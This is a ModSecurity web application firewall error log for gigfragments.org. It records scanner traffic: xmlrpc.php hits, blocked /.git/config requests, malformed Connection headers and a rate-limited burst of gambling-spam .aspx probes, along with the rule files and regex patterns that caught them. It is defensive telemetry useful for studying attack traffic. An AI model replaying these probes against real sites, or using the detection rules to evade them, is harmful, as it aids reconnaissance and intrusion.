[Thu Feb 12 04:09:20.498221 2026] [:error] [pid 57533:tid 57599] [client 103.218.123.187:53338] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYzh8MBMbk5EwuXt4Ze9NwAAAFc"]
[Thu Feb 12 04:09:46.531821 2026] [:error] [pid 57641:tid 57659] [client 68.65.122.212:52230] [client 68.65.122.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.65.122.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYziCnEGAHJopH5xQFwjhQAAAM8"]
[Thu Feb 12 04:09:53.870218 2026] [:error] [pid 57534:tid 57608] [client 180.93.254.93:34088] [client 180.93.254.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.254.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYziEd-p0vPYwBdK43TzjQAAAIU"]
[Thu Feb 12 04:09:59.843073 2026] [:error] [pid 29368:tid 29376] [client 47.109.143.1:33992] [client 47.109.143.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.109.143.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYziF9NsoKUOH6cSt82NigAAAQY"]
[Thu Feb 12 04:28:20.181229 2026] [:error] [pid 29368:tid 29372] [client 164.90.139.61:37478] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYzmZNNsoKUOH6cSt82XOgAAAQI"]
[Thu Feb 12 04:28:25.547630 2026] [:error] [pid 57534:tid 57609] [client 164.90.139.61:37190] [client 164.90.139.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYzmad-p0vPYwBdK43T5yQAAAIY"]
[Thu Feb 12 04:28:27.049466 2026] [:error] [pid 57533:tid 57580] [client 3.19.123.42:52510] [client 3.19.123.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.19.123.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYzma8BMbk5EwuXt4ZfD4QAAAEU"]
[Thu Feb 12 05:15:10.345452 2026] [:error] [pid 57534:tid 57606] [client 178.62.28.91:56578] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYzxXt-p0vPYwBdK43QLEgAAAIM"]
[Thu Feb 12 05:59:43.350243 2026] [:error] [pid 57532:tid 57566] [client 59.125.102.227:48528] [client 59.125.102.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYz7z4fDW9Kql6FLJINc-gAAABg"]
[Thu Feb 12 06:48:57.813525 2026] [:error] [pid 29368:tid 29382] [client 185.199.223.27:52896] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0HWdNsoKUOH6cSt83eKwAAAQw"]
[Thu Feb 12 06:53:33.889099 2026] [:error] [pid 1851:tid 1857] [client 221.229.106.25:57446] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aY0IbfgC37byWfqZjZHdiwAAAUI"]
[Thu Feb 12 07:36:09.716976 2026] [:error] [pid 29368:tid 29389] [client 45.79.181.215:48318] [client 45.79.181.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.79.181.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0SadNsoKUOH6cSt83uZwAAARM"]
[Thu Feb 12 08:25:41.666286 2026] [:error] [pid 57533:tid 57590] [client 207.154.197.201:49172] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0eBcBMbk5EwuXt4ZcMsgAAAE4"]
[Thu Feb 12 08:31:00.484610 2026] [:error] [pid 1851:tid 1860] [client 104.28.222.46:31933] [client 104.28.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0fRPgC37byWfqZjZEIvwAAAUU"]
[Thu Feb 12 08:31:02.872356 2026] [:error] [pid 29368:tid 29390] [client 103.218.123.187:58380] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0fRtNsoKUOH6cSt80CuQAAARQ"]
[Thu Feb 12 08:31:08.647990 2026] [:error] [pid 57533:tid 57588] [client 89.46.109.106:30666] [client 89.46.109.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.109.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0fTMBMbk5EwuXt4ZcPLAAAAEw"]
[Thu Feb 12 08:31:19.764653 2026] [:error] [pid 29368:tid 29384] [client 180.93.254.93:54684] [client 180.93.254.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.254.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0fV9NsoKUOH6cSt80CzwAAAQ4"]
[Thu Feb 12 08:31:27.921610 2026] [:error] [pid 29368:tid 29372] [client 188.34.181.211:35028] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0fX9NsoKUOH6cSt80C3QAAAQI"]
[Thu Feb 12 09:05:26.090846 2026] [:error] [pid 50254:tid 50259] [client 159.69.28.178:43100] [client 159.69.28.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.69.28.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0nVlXkZ-o2G0C1rDFt9gAAAgA"]
[Thu Feb 12 09:12:33.614781 2026] [:error] [pid 50167:tid 50184] [client 43.155.157.239:39266] [client 43.155.157.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY0pATOWAjqME-_ayFOCswAAAM0"]
[Thu Feb 12 09:53:29.210568 2026] [:error] [pid 50167:tid 50194] [client 172.104.208.183:54082] [client 172.104.208.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.104.208.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY0ymTOWAjqME-_ayFOTlQAAANc"]
[Thu Feb 12 10:07:27.598963 2026] [:error] [pid 50168:tid 50213] [client 149.224.239.115:59161] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aY013wih-d2Mb0suxEflNgAAAY4"]
[Thu Feb 12 10:07:29.579032 2026] [:error] [pid 3136:tid 3154] [client 149.224.239.115:64636] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aY014RiPjM-TIZEnQeE4FgAAAFA"]
[Thu Feb 12 10:07:31.651930 2026] [:error] [pid 3188:tid 3210] [client 149.224.239.115:62242] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aY0148YMNJKHx_XKcXzSZAAAAJQ"]
[Thu Feb 12 10:07:33.564443 2026] [:error] [pid 3188:tid 3208] [client 149.224.239.115:64820] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aY015cYMNJKHx_XKcXzSagAAAJI"]
[Thu Feb 12 10:07:35.613037 2026] [:error] [pid 3136:tid 3153] [client 149.224.239.115:64577] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aY015xiPjM-TIZEnQeE4HwAAAE8"]
[Thu Feb 12 10:07:37.704014 2026] [:error] [pid 60619:tid 60623] [client 149.224.239.115:60850] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aY016UWmS0KSFtjY-wYtuwAAAAI"]
[Thu Feb 12 10:07:39.762736 2026] [:error] [pid 3188:tid 3194] [client 149.224.239.115:64613] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aY0168YMNJKHx_XKcXzScwAAAIQ"]
[Thu Feb 12 10:07:41.860082 2026] [:error] [pid 3188:tid 3200] [client 149.224.239.115:61136] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aY017cYMNJKHx_XKcXzSfQAAAIo"]
[Thu Feb 12 10:07:44.895938 2026] [:error] [pid 50167:tid 50173] [client 149.224.239.115:64976] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aY018DOWAjqME-_ayFOYpQAAAMI"]
[Thu Feb 12 10:07:46.908579 2026] [:error] [pid 50168:tid 50219] [client 149.224.239.115:61036] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aY018gih-d2Mb0suxEflTgAAAZQ"]
[Thu Feb 12 10:07:48.901225 2026] [:error] [pid 3136:tid 3161] [client 149.224.239.115:64778] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aY019BiPjM-TIZEnQeE4JgAAAFc"]
[Thu Feb 12 10:07:50.926713 2026] [:error] [pid 50169:tid 50242] [client 149.224.239.115:64983] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aY019rQmA2Sph23KFXBLlwAAAdA"]
[Thu Feb 12 10:07:52.887644 2026] [:error] [pid 3188:tid 3212] [client 149.224.239.115:63571] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aY01-MYMNJKHx_XKcXzShAAAAJY"]
[Thu Feb 12 10:07:54.937191 2026] [:error] [pid 50167:tid 50180] [client 149.224.239.115:63508] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aY01-jOWAjqME-_ayFOYrgAAAMk"]
[Thu Feb 12 10:07:57.089457 2026] [:error] [pid 50254:tid 50281] [client 149.224.239.115:63912] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aY01_VXkZ-o2G0C1rDGPKQAAAhY"]
[Thu Feb 12 10:07:59.154579 2026] [:error] [pid 50169:tid 50237] [client 149.224.239.115:61714] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aY01_7QmA2Sph23KFXBLmgAAAcs"]
[Thu Feb 12 10:08:01.137387 2026] [:error] [pid 3188:tid 3209] [client 149.224.239.115:63842] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aY02AcYMNJKHx_XKcXzSjAAAAJM"]
[Thu Feb 12 10:08:03.244964 2026] [:error] [pid 50169:tid 50249] [client 149.224.239.115:59556] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aY02A7QmA2Sph23KFXBLmwAAAdc"]
[Thu Feb 12 10:08:05.202308 2026] [:error] [pid 50167:tid 50176] [client 149.224.239.115:59987] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY02BTOWAjqME-_ayFOYswAAAMU"]
[Thu Feb 12 10:08:07.105427 2026] [:error] [pid 50167:tid 50178] [client 149.224.239.115:60932] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aY02BzOWAjqME-_ayFOYtgAAAMc"]
[Thu Feb 12 10:08:09.067570 2026] [:error] [pid 3188:tid 3201] [client 149.224.239.115:64896] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aY02CcYMNJKHx_XKcXzSkwAAAIs"]
[Thu Feb 12 10:08:11.190133 2026] [:error] [pid 3188:tid 3212] [client 149.224.239.115:61287] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aY02C8YMNJKHx_XKcXzSmQAAAJY"]
[Thu Feb 12 10:08:13.119703 2026] [:error] [pid 50167:tid 50181] [client 149.224.239.115:61957] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aY02DTOWAjqME-_ayFOYuwAAAMo"]
[Thu Feb 12 10:08:15.060318 2026] [:error] [pid 50254:tid 50280] [client 149.224.239.115:64302] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aY02D1XkZ-o2G0C1rDGPNAAAAhU"]
[Thu Feb 12 10:08:17.006931 2026] [:error] [pid 50169:tid 50241] [client 149.224.239.115:63543] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aY02EbQmA2Sph23KFXBLsAAAAc8"]
[Thu Feb 12 10:08:19.202250 2026] [:error] [pid 3136:tid 3144] [client 149.224.239.115:64106] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aY02ExiPjM-TIZEnQeE4RgAAAEY"]
[Thu Feb 12 10:08:21.238317 2026] [:error] [pid 50169:tid 50234] [client 149.224.239.115:60210] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aY02FbQmA2Sph23KFXBLtAAAAcg"]
[Thu Feb 12 10:08:23.213594 2026] [:error] [pid 50167:tid 50176] [client 149.224.239.115:62539] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aY02FzOWAjqME-_ayFOYwwAAAMU"]
[Thu Feb 12 10:09:03.861625 2026] [:error] [pid 50169:tid 50245] [client 149.224.239.115:62708] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY02P7QmA2Sph23KFXBL4AAAAdM"]
[Thu Feb 12 10:09:05.936065 2026] [:error] [pid 50167:tid 50192] [client 149.224.239.115:64611] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aY02QTOWAjqME-_ayFOY4gAAANU"]
[Thu Feb 12 10:09:07.982390 2026] [:error] [pid 50167:tid 50189] [client 149.224.239.115:62732] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY02QzOWAjqME-_ayFOY5wAAANI"]
[Thu Feb 12 10:09:10.285651 2026] [:error] [pid 50167:tid 50192] [client 149.224.239.115:63303] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY02RjOWAjqME-_ayFOY7wAAANU"]
[Thu Feb 12 10:09:12.291836 2026] [:error] [pid 3188:tid 3191] [client 149.224.239.115:61039] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY02SMYMNJKHx_XKcXzS1AAAAIE"]
[Thu Feb 12 10:09:14.192874 2026] [:error] [pid 50167:tid 50175] [client 149.224.239.115:60074] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY02SjOWAjqME-_ayFOY9QAAAMQ"]
